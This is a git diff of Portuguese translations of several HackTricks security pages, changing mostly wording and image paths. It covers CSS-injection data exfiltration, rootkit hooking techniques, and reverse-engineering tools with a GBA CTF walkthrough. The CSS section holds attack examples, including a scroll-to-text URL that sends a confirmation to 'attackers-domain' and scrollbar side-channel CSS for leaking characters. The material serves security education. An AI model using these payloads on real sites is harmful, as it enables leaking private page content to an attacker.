@ -130,7 +130,7 @@ Outras maneiras de acessar partes do DOM com **seletores CSS**:
|
|||
|
||||
**Referência:** [Ataque baseado em CSS: Abusando do unicode-range de @font-face](https://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html), [PoC de XS-Search baseado em erro por @terjanq](https://twitter.com/terjanq/status/1180477124861407234)
|
||||
|
||||
A intenção geral é **usar uma fonte personalizada de um ponto de extremidade controlado** e garantir que **o texto (neste caso, 'A') seja exibido com esta fonte apenas se o recurso especificado (`favicon.ico`) não puder ser carregado**.
|
||||
A intenção geral é **usar uma fonte personalizada de um ponto de extremidade controlado** e garantir que **o texto (neste caso, 'A') seja exibido com essa fonte apenas se o recurso especificado (`favicon.ico`) não puder ser carregado**.
|
||||
```html
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
|
@ -161,35 +161,35 @@ font-family: 'poc';
|
|||
|
||||
2. **Elemento de Objeto com Texto de Reserva**:
|
||||
- Um elemento `<object>` com `id="poc0"` é criado na seção `<body>`. Este elemento tenta carregar um recurso de `http://192.168.0.1/favicon.ico`.
|
||||
- O `font-family` para este elemento é definido como `'poc'`, conforme especificado na seção `<style>`.
|
||||
- O `font-family` para este elemento é definido como `'poc'`, conforme definido na seção `<style>`.
|
||||
- Se o recurso (`favicon.ico`) falhar ao carregar, o conteúdo de reserva (a letra 'A') dentro da tag `<object>` é exibido.
|
||||
- O conteúdo de reserva ('A') será renderizado usando a fonte personalizada `poc` se o recurso externo não puder ser carregado.
|
||||
|
||||
### Estilizando Fragmento de Rolagem-para-Texto
|
||||
|
||||
O pseudo-classe **`:target`** é utilizada para selecionar um elemento direcionado por um **fragmento de URL**, conforme especificado na [especificação de Seletores CSS Nível 4](https://drafts.csswg.org/selectors-4/#the-target-pseudo). É crucial entender que `::target-text` não corresponde a nenhum elemento a menos que o texto seja explicitamente direcionado pelo fragmento.
|
||||
A pseudo-classe **`:target`** é utilizada para selecionar um elemento direcionado por um **fragmento de URL**, conforme especificado na [especificação do Nível 4 de Seletores CSS](https://drafts.csswg.org/selectors-4/#the-target-pseudo). É crucial entender que `::target-text` não corresponde a nenhum elemento a menos que o texto seja explicitamente direcionado pelo fragmento.
|
||||
|
||||
Uma preocupação de segurança surge quando os atacantes exploram o recurso de **Fragmento de Rolagem-para-Texto**, permitindo-lhes confirmar a presença de texto específico em uma página da web ao carregar um recurso de seu servidor por meio de injeção de HTML. O método envolve a injeção de uma regra CSS como esta:
|
||||
```css
|
||||
:target::before { content : url(target.png) }
|
||||
```
|
||||
Nesses cenários, se o texto "Administrador" estiver presente na página, o recurso `target.png` é solicitado ao servidor, indicando a presença do texto. Uma instância desse ataque pode ser executada por meio de uma URL especialmente criada que incorpora o CSS injetado ao lado de um fragmento de rolagem de texto:
|
||||
Nesses cenários, se o texto "Administrador" estiver presente na página, o recurso `target.png` é solicitado ao servidor, indicando a presença do texto. Uma instância desse ataque pode ser executada por meio de uma URL especialmente elaborada que incorpora o CSS injetado juntamente com um fragmento de rolagem de texto:
|
||||
```
|
||||
http://127.0.0.1:8081/poc1.php?note=%3Cstyle%3E:target::before%20{%20content%20:%20url(http://attackers-domain/?confirmed_existence_of_Administrator_username)%20}%3C/style%3E#:~:text=Administrator
|
||||
```
|
||||
Aqui, o ataque manipula a injeção de HTML para transmitir o código CSS, visando o texto específico "Administrador" através do fragmento Scroll-to-text (`#:~:text=Administrador`). Se o texto for encontrado, o recurso indicado é carregado, sinalizando inadvertidamente sua presença ao atacante.
|
||||
Aqui, o ataque manipula a injeção de HTML para transmitir o código CSS, visando o texto específico "Administrador" por meio do fragmento Scroll-to-text (`#:~:text=Administrador`). Se o texto for encontrado, o recurso indicado é carregado, sinalizando inadvertidamente sua presença ao atacante.
|
||||
|
||||
Para mitigação, os seguintes pontos devem ser observados:
|
||||
|
||||
1. **Correspondência STTF Restrita**: O Fragmento Scroll-to-text (STTF) é projetado para corresponder apenas a palavras ou frases, limitando assim sua capacidade de vazar segredos ou tokens arbitrários.
|
||||
2. **Restrição aos Contextos de Navegação de Nível Superior**: O STTF opera exclusivamente em contextos de navegação de nível superior e não funciona dentro de iframes, tornando qualquer tentativa de exploração mais perceptível para o usuário.
|
||||
3. **Necessidade de Ativação do Usuário**: O STTF requer um gesto de ativação do usuário para operar, o que significa que as explorações são viáveis apenas por meio de navegações iniciadas pelo usuário. Esse requisito mitiga consideravelmente o risco de ataques automatizados sem interação do usuário. No entanto, o autor do post do blog destaca condições específicas e contornos (por exemplo, engenharia social, interação com extensões de navegador prevalentes) que podem facilitar a automação do ataque.
|
||||
3. **Necessidade de Ativação do Usuário**: O STTF requer um gesto de ativação do usuário para operar, o que significa que as explorações são viáveis apenas por meio de navegações iniciadas pelo usuário. Esse requisito mitiga consideravelmente o risco de ataques serem automatizados sem interação do usuário. No entanto, o autor do post do blog destaca condições específicas e contornos (por exemplo, engenharia social, interação com extensões de navegador prevalentes) que podem facilitar a automação do ataque.
|
||||
|
||||
Consciência desses mecanismos e vulnerabilidades potenciais é fundamental para manter a segurança na web e proteger contra táticas exploratórias desse tipo.
|
||||
|
||||
Para mais informações, consulte o relatório original: [https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/](https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/)
|
||||
|
||||
Você pode verificar um [**exploit usando essa técnica para um CTF aqui**](https://gist.github.com/haqpl/52455c8ddfec33aeefb468301d70b6eb).
|
||||
Você pode conferir um [**exploit usando essa técnica para um CTF aqui**](https://gist.github.com/haqpl/52455c8ddfec33aeefb468301d70b6eb).
|
||||
|
||||
### @font-face / unicode-range <a href="#text-node-exfiltration-i-ligatures" id="text-node-exfiltration-i-ligatures"></a>
|
||||
|
||||
|
@ -263,7 +263,7 @@ O conceito gira em torno de utilizar uma animação para expandir incrementalmen
|
|||
1. **Prefixo**: A linha inicial.
|
||||
2. **Sufixo**: A(s) linha(s) subsequente(s).
|
||||
|
||||
As etapas de transição dos caracteres apareceriam da seguinte forma:
|
||||
As etapas de transição dos caracteres seriam as seguintes:
|
||||
|
||||
**C**\
|
||||
ADB
|
||||
|
@ -277,12 +277,12 @@ B
|
|||
**CADB**
|
||||
|
||||
|
||||
Durante essa transição, o **truque de unicode-range** é empregado para identificar cada novo caractere à medida que ele se junta ao prefixo. Isso é alcançado mudando a fonte para Comic Sans, que é notavelmente mais alta que a fonte padrão, consequentemente acionando uma barra de rolagem vertical. A aparição dessa barra de rolagem revela indiretamente a presença de um novo caractere no prefixo.
|
||||
Durante essa transição, o **truque de intervalo de unicode** é empregado para identificar cada novo caractere à medida que ele se junta ao prefixo. Isso é alcançado mudando a fonte para Comic Sans, que é notavelmente mais alta que a fonte padrão, consequentemente acionando uma barra de rolagem vertical. A aparição dessa barra de rolagem revela indiretamente a presença de um novo caractere no prefixo.
|
||||
|
||||
Embora este método permita a detecção de caracteres únicos à medida que aparecem, ele não especifica qual caractere está sendo repetido, apenas que uma repetição ocorreu.
|
||||
|
||||
{% hint style="info" %}
|
||||
Basicamente, o **unicode-range é usado para detectar um caractere**, mas como não queremos carregar uma fonte externa, precisamos encontrar outra maneira.\
|
||||
Basicamente, o **intervalo de unicode é usado para detectar um caractere**, mas como não queremos carregar uma fonte externa, precisamos encontrar outra maneira.\
|
||||
Quando o **caractere** é **encontrado**, ele é **atribuído** à fonte **Comic Sans pré-instalada**, que o **torna maior** e **aciona uma barra de rolagem** que irá **vazar o caractere encontrado**.
|
||||
{% endhint %}
|
||||
|
||||
|
@ -404,12 +404,12 @@ text-transform: uppercase; /* only capital letters leak */
|
|||
}
|
||||
|
||||
div::-webkit-scrollbar {
|
||||
fundo: azul;
|
||||
background: azul;
|
||||
}
|
||||
|
||||
/* side-channel */
|
||||
div::-webkit-scrollbar:vertical {
|
||||
fundo: azul var(--leak);
|
||||
background: azul var(--leak);
|
||||
}
|
||||
```
|
||||
### Exfiltração de nó de texto (III): vazando o conjunto de caracteres com uma fonte padrão ao ocultar elementos (não requer ativos externos) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
|
||||
|
@ -430,7 +430,7 @@ src: url(/static/bootstrap.min.css?q=1);
|
|||
unicode-range: U+0041;
|
||||
}
|
||||
```
|
||||
Se houver uma correspondência, a **fonte será carregada de `/static/bootstrap.min.css?q=1`**. Embora não seja carregada com sucesso, o **navegador deve armazená-la em cache**, e mesmo que não haja cache, há um mecanismo de **304 not modified**, então a **resposta deve ser mais rápida** do que outras coisas.
|
||||
Se houver uma correspondência, a **fonte será carregada de `/static/bootstrap.min.css?q=1`**. Embora não seja carregada com sucesso, o **navegador deve armazená-la em cache**, e mesmo que não haja cache, existe um mecanismo de **304 not modified**, então a **resposta deve ser mais rápida** do que outras coisas.
|
||||
|
||||
No entanto, se a diferença de tempo entre a resposta em cache e a não em cache não for grande o suficiente, isso não será útil. Por exemplo, o autor mencionou: No entanto, após testes, descobri que o primeiro problema é que a velocidade não é muito diferente, e o segundo problema é que o bot usa a flag `disk-cache-size=1`, o que é realmente atencioso.
|
||||
|
||||
|
@ -466,7 +466,7 @@ Portanto, se a fonte não corresponder, o tempo de resposta ao visitar o bot é
|
|||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -478,7 +478,7 @@ Outras maneiras de apoiar o HackTricks:
|
|||
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
|
|
|
@ -16,7 +16,7 @@
|
|||
|
||||
**Grupo de Segurança Try Hard**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -115,7 +115,7 @@ Para um exemplo disso, verifique o link de referência.
|
|||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
|
|
@ -2,21 +2,21 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprenda hacking AWS do zero ao avançado com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks Especialista em Equipe Vermelha AWS)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprenda hacking na AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Outras maneiras de apoiar o HackTricks:
|
||||
Outras formas de apoiar o HackTricks:
|
||||
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||
|
||||
</details>
|
||||
|
||||
**Grupo de Segurança Try Hard**
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -149,12 +149,10 @@ O malware desmapeará o código legítimo da memória do processo e carregará u
|
|||
|
||||
## Hooking
|
||||
|
||||
* A **SSDT** (**Tabela de Descritores de Serviço do Sistema**) aponta para funções do kernel (ntoskrnl.exe) ou driver GUI (win32k.sys) para que processos de usuário possam chamar essas funções.
|
||||
* A **SSDT** (**System Service Descriptor Table**) aponta para funções do kernel (ntoskrnl.exe) ou driver GUI (win32k.sys) para que processos de usuário possam chamar essas funções.
|
||||
* Um rootkit pode modificar esses ponteiros para endereços que ele controla
|
||||
* **IRP** (**Pacotes de Solicitação de E/S**) transmitem pedaços de dados de um componente para outro. Quase tudo no kernel usa IRPs e cada objeto de dispositivo tem sua própria tabela de funções que podem ser hookadas: DKOM (Manipulação Direta de Objetos do Kernel)
|
||||
* A **IAT** (**Tabela de Endereços de Importação**) é útil para resolver dependências. É possível hookar essa tabela para sequestrar o código que será chamado.
|
||||
* **EAT** (**Tabela de Endereços de Exportação**) Hooks. Esses hooks podem ser feitos do **espaço do usuário**. O objetivo é hookar funções exportadas por DLLs.
|
||||
* **IRP** (**I/O Request Packets**) transmitem pedaços de dados de um componente para outro. Quase tudo no kernel usa IRPs e cada objeto de dispositivo tem sua própria tabela de funções que pode ser hookada: DKOM (Direct Kernel Object Manipulation)
|
||||
* O **IAT** (**Import Address Table**) é útil para resolver dependências. É possível hookar essa tabela para sequestrar o código que será chamado.
|
||||
* **EAT** (**Export Address Table**) Hooks. Esses hooks podem ser feitos do **userland**. O objetivo é hookar funções exportadas por DLLs.
|
||||
* **Hooks Inline**: Esse tipo é difícil de alcançar. Isso envolve modificar o código das funções em si. Talvez colocando um salto no início disso.
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) no GitHub.
|
||||
|
||||
</details>
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) **e** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **no GitHub.**
|
||||
|
|
|
@ -14,9 +14,9 @@ Outras maneiras de apoiar o HackTricks:
|
|||
|
||||
</details>
|
||||
|
||||
**Grupo de Segurança Try Hard**
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -47,7 +47,7 @@ Software:
|
|||
|
||||
dotPeek é um decompilador que **descompila e examina múltiplos formatos**, incluindo **bibliotecas** (.dll), arquivos de metadados do Windows (.winmd) e **executáveis** (.exe). Uma vez descompilada, uma montagem pode ser salva como um projeto do Visual Studio (.csproj).
|
||||
|
||||
O mérito aqui é que se um código-fonte perdido requer restauração de uma montagem legada, esta ação pode economizar tempo. Além disso, o dotPeek fornece navegação útil por todo o código descompilado, tornando-o uma das ferramentas perfeitas para **análise de algoritmos Xamarin.**
|
||||
O mérito aqui é que se um código-fonte perdido requer restauração de uma montagem legada, essa ação pode economizar tempo. Além disso, o dotPeek fornece navegação útil por todo o código descompilado, tornando-o uma das ferramentas perfeitas para **análise de algoritmos Xamarin.**
|
||||
|
||||
### [.NET Reflector](https://www.red-gate.com/products/reflector/)
|
||||
|
||||
|
@ -62,7 +62,7 @@ Com um modelo abrangente de complementos e uma API que estende a ferramenta para
|
|||
|
||||
### [ILSpy](https://github.com/icsharpcode/ILSpy) & [dnSpy](https://github.com/dnSpy/dnSpy/releases)
|
||||
|
||||
[Plugin ILSpy para Visual Studio Code](https://github.com/icsharpcode/ilspy-vscode): Você pode tê-lo em qualquer SO (você pode instalá-lo diretamente do VSCode, não é necessário baixar o git. Clique em **Extensões** e **pesquise ILSpy**).\
|
||||
[Plugin ILSpy para Visual Studio Code](https://github.com/icsharpcode/ilspy-vscode): Você pode tê-lo em qualquer sistema operacional (você pode instalá-lo diretamente do VSCode, sem precisar baixar o git. Clique em **Extensões** e **pesquise ILSpy**).\
|
||||
Se você precisa **descompilar**, **modificar** e **recompilar** novamente, você pode usar [**dnSpy**](https://github.com/dnSpy/dnSpy/releases) ou um fork ativamente mantido dele, [**dnSpyEx**](https://github.com/dnSpyEx/dnSpy/releases). (**Clique com o botão direito -> Modificar Método** para alterar algo dentro de uma função).
|
||||
|
||||
### Registro do DNSpy
|
||||
|
@ -77,7 +77,7 @@ File.AppendAllText(path, "Password: " + password + "\n");
|
|||
|
||||
Para depurar o código usando o DNSpy, você precisa:
|
||||
|
||||
Primeiro, alterar os **atributos do Assembly** relacionados à **depuração**:
|
||||
Primeiro, altere os **atributos da Assembleia** relacionados à **depuração**:
|
||||
|
||||
![](<../../.gitbook/assets/image (278).png>)
|
||||
```aspnet
|
||||
|
@ -147,7 +147,7 @@ Clique com o botão direito em qualquer módulo no **Explorador de Assemblies**
|
|||
|
||||
Então, ao iniciar a depuração, a execução será interrompida quando cada DLL for carregada, então, quando o rundll32 carregar sua DLL, a execução será interrompida.
|
||||
|
||||
Mas, como você pode chegar ao código da DLL que foi carregada? Usando este método, não sei como.
|
||||
Mas, como você pode chegar ao código da DLL que foi carregada? Usando este método, eu não sei como.
|
||||
|
||||
### Usando x64dbg/x32dbg
|
||||
|
||||
|
@ -190,7 +190,7 @@ Você pode encontrar uma versão ligeiramente modificada do Blobrunner no seguin
|
|||
|
||||
### Depurando um shellcode com jmp2it
|
||||
|
||||
[**jmp2it** ](https://github.com/adamkramer/jmp2it/releases/tag/v1.4)é muito semelhante ao blobrunner. Ele irá **alocar** o **shellcode** dentro de um espaço de memória e iniciar um **loop eterno**. Em seguida, você precisa **anexar o depurador** ao processo, **iniciar aguardar 2-5 segundos e pressionar parar** e você se encontrará dentro do **loop eterno**. Pule para a próxima instrução do loop eterno, pois será uma chamada para o shellcode, e finalmente você se encontrará executando o shellcode.
|
||||
[**jmp2it** ](https://github.com/adamkramer/jmp2it/releases/tag/v1.4) é muito semelhante ao blobrunner. Ele irá **alocar** o **shellcode** dentro de um espaço de memória e iniciar um **loop eterno**. Em seguida, você precisa **anexar o depurador** ao processo, **iniciar, esperar 2-5 segundos e pressionar parar** e você se encontrará dentro do **loop eterno**. Pule para a próxima instrução do loop eterno, pois será uma chamada para o shellcode, e finalmente você se encontrará executando o shellcode.
|
||||
|
||||
![](<../../.gitbook/assets/image (397).png>)
|
||||
|
||||
|
@ -230,7 +230,7 @@ scDbg também conta com um iniciador gráfico onde você pode selecionar as opç
|
|||
|
||||
![](<../../.gitbook/assets/image (398).png>)
|
||||
|
||||
A opção **Create Dump** irá despejar o shellcode final se alguma alteração for feita dinamicamente no shellcode na memória (útil para baixar o shellcode decodificado). O **start offset** pode ser útil para iniciar o shellcode em um deslocamento específico. A opção **Debug Shell** é útil para depurar o shellcode usando o terminal scDbg (no entanto, considero qualquer uma das opções explicadas anteriormente melhor para este assunto, pois você poderá usar o Ida ou x64dbg).
|
||||
A opção **Create Dump** fará o dump do shellcode final se alguma alteração for feita dinamicamente no shellcode na memória (útil para baixar o shellcode decodificado). O **start offset** pode ser útil para iniciar o shellcode em um deslocamento específico. A opção **Debug Shell** é útil para depurar o shellcode usando o terminal scDbg (no entanto, considero qualquer uma das opções explicadas anteriormente melhor para esse assunto, pois você poderá usar o Ida ou x64dbg).
|
||||
|
||||
### Desmontagem usando o CyberChef
|
||||
|
||||
|
@ -250,22 +250,22 @@ apt-get install libz3-dev
|
|||
```
|
||||
E [instale o keystone](https://github.com/keystone-engine/keystone/blob/master/docs/COMPILE-NIX.md) (`apt-get install cmake; mkdir build; cd build; ../make-share.sh; make install`)
|
||||
|
||||
Se estiver participando de um **CTF, essa solução alternativa para encontrar a flag** pode ser muito útil: [https://dustri.org/b/defeating-the-recons-movfuscator-crackme.html](https://dustri.org/b/defeating-the-recons-movfuscator-crackme.html)
|
||||
Se você está participando de um **CTF, essa solução alternativa para encontrar a flag** pode ser muito útil: [https://dustri.org/b/defeating-the-recons-movfuscator-crackme.html](https://dustri.org/b/defeating-the-recons-movfuscator-crackme.html)
|
||||
|
||||
## Rust
|
||||
|
||||
Para encontrar o **ponto de entrada**, pesquise as funções por `::main` como em:
|
||||
Para encontrar o **ponto de entrada**, procure as funções por `::main` como em:
|
||||
|
||||
![](<../../.gitbook/assets/image (612).png>)
|
||||
|
||||
Neste caso, o binário foi chamado de autenticador, então é bastante óbvio que esta é a função principal interessante.\
|
||||
Tendo o **nome** das **funções** sendo chamadas, pesquise sobre elas na **Internet** para aprender sobre suas **entradas** e **saídas**.
|
||||
Tendo o **nome** das **funções** sendo chamadas, procure por elas na **Internet** para aprender sobre suas **entradas** e **saídas**.
|
||||
|
||||
## **Delphi**
|
||||
|
||||
Para binários compilados em Delphi, você pode usar [https://github.com/crypto2011/IDR](https://github.com/crypto2011/IDR)
|
||||
|
||||
Se precisar reverter um binário Delphi, sugiro que use o plugin do IDA [https://github.com/Coldzer0/IDA-For-Delphi](https://github.com/Coldzer0/IDA-For-Delphi)
|
||||
Se você precisar reverter um binário Delphi, sugiro que use o plugin do IDA [https://github.com/Coldzer0/IDA-For-Delphi](https://github.com/Coldzer0/IDA-For-Delphi)
|
||||
|
||||
Basta pressionar **ATL+f7** (importar plugin python no IDA) e selecionar o plugin python.
|
||||
|
||||
|
@ -275,7 +275,7 @@ Também é muito interessante porque se você pressionar um botão na aplicaçã
|
|||
|
||||
## Golang
|
||||
|
||||
Se precisar reverter um binário Golang, sugiro que use o plugin do IDA [https://github.com/sibears/IDAGolangHelper](https://github.com/sibears/IDAGolangHelper)
|
||||
Se você precisar reverter um binário Golang, sugiro que use o plugin do IDA [https://github.com/sibears/IDAGolangHelper](https://github.com/sibears/IDAGolangHelper)
|
||||
|
||||
Basta pressionar **ATL+f7** (importar plugin python no IDA) e selecionar o plugin python.
|
||||
|
||||
|
@ -283,7 +283,7 @@ Isso resolverá os nomes das funções.
|
|||
|
||||
## Python Compilado
|
||||
|
||||
Nesta página, você pode encontrar como obter o código Python de um binário compilado em ELF/EXE:
|
||||
Nesta página, você pode encontrar como obter o código python de um binário compilado ELF/EXE python:
|
||||
|
||||
{% content-ref url="../../forensics/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md" %}
|
||||
[.pyc.md](../../forensics/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md)
|
||||
|
@ -291,7 +291,7 @@ Nesta página, você pode encontrar como obter o código Python de um binário c
|
|||
|
||||
## GBA - Game Body Advance
|
||||
|
||||
Se você obter o **binário** de um jogo GBA, pode usar diferentes ferramentas para **emular** e **depurar**:
|
||||
Se você obter o **binário** de um jogo GBA, você pode usar diferentes ferramentas para **emular** e **depurar**:
|
||||
|
||||
* [**no$gba**](https://problemkaputt.de/gba.htm) (_Baixe a versão de depuração_) - Contém um depurador com interface
|
||||
* [**mgba** ](https://mgba.io)- Contém um depurador CLI
|
||||
|
@ -315,11 +315,11 @@ DOWN = 128
|
|||
R = 256
|
||||
L = 256
|
||||
```
|
||||
Portanto, neste tipo de programa, a parte interessante será **como o programa trata a entrada do usuário**. No endereço **0x4000130** você encontrará a função comumente encontrada: **KEYINPUT**.
|
||||
Portanto, neste tipo de programa, a parte interessante será **como o programa trata a entrada do usuário**. No endereço **0x4000130**, você encontrará a função comumente encontrada: **KEYINPUT**.
|
||||
|
||||
![](<../../.gitbook/assets/image (579).png>)
|
||||
|
||||
Na imagem anterior, você pode ver que a função é chamada de **FUN_080015a8** (endereços: _0x080015fa_ e _0x080017ac_).
|
||||
Na imagem anterior, você pode ver que a função é chamada de **FUN\_080015a8** (endereços: _0x080015fa_ e _0x080017ac_).
|
||||
|
||||
Nessa função, após algumas operações de inicialização (sem importância alguma):
|
||||
```c
|
||||
|
@ -384,10 +384,10 @@ DAT_030000d8 = DAT_030000d8 + 0x3a;
|
|||
```
|
||||
No código anterior, você pode ver que estamos comparando **uVar1** (o local onde está o **valor do botão pressionado**) com alguns valores:
|
||||
|
||||
- Primeiro, é comparado com o **valor 4** (botão **SELECT**): Neste desafio, este botão limpa a tela.
|
||||
- Em seguida, é comparado com o **valor 8** (botão **START**): Neste desafio, isso verifica se o código é válido para obter a bandeira.
|
||||
- Primeiro, é comparado com o **valor 4** (botão **SELECT**): No desafio, este botão limpa a tela.
|
||||
- Em seguida, é comparado com o **valor 8** (botão **START**): No desafio, isso verifica se o código é válido para obter a bandeira.
|
||||
- Neste caso, a variável **`DAT_030000d8`** é comparada com 0xf3 e se o valor for o mesmo, algum código é executado.
|
||||
- Em todos os outros casos, é verificado um cont (`DAT_030000d4`). É um cont porque está adicionando 1 logo após entrar no código. Se for menor que 8, algo que envolve **adicionar** valores a **`DAT_030000d8`** é feito (basicamente está adicionando os valores dos botões pressionados nesta variável, desde que o cont seja menor que 8).
|
||||
- Em todos os outros casos, é verificado um contador (`DAT_030000d4`). É um contador porque está adicionando 1 logo após entrar no código. Se for menor que 8, algo que envolve **adicionar** valores a **`DAT_030000d8`** é feito (basicamente está adicionando os valores dos botões pressionados nesta variável, desde que o contador seja menor que 8).
|
||||
|
||||
Portanto, neste desafio, conhecendo os valores dos botões, você precisava **pressionar uma combinação com um comprimento menor que 8, de modo que a adição resultante seja 0xf3**.
|
||||
|
||||
|
@ -404,7 +404,7 @@ Portanto, neste desafio, conhecendo os valores dos botões, você precisava **pr
|
|||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -415,8 +415,8 @@ Portanto, neste desafio, conhecendo os valores dos botões, você precisava **pr
|
|||
Outras maneiras de apoiar o HackTricks:
|
||||
|
||||
- Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
- Obtenha [**produtos oficiais PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
- Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
- Obtenha o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
- Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
- **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
- **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
|
|
|
@ -2,12 +2,12 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprenda hacking na AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Outras maneiras de apoiar o HackTricks:
|
||||
|
||||
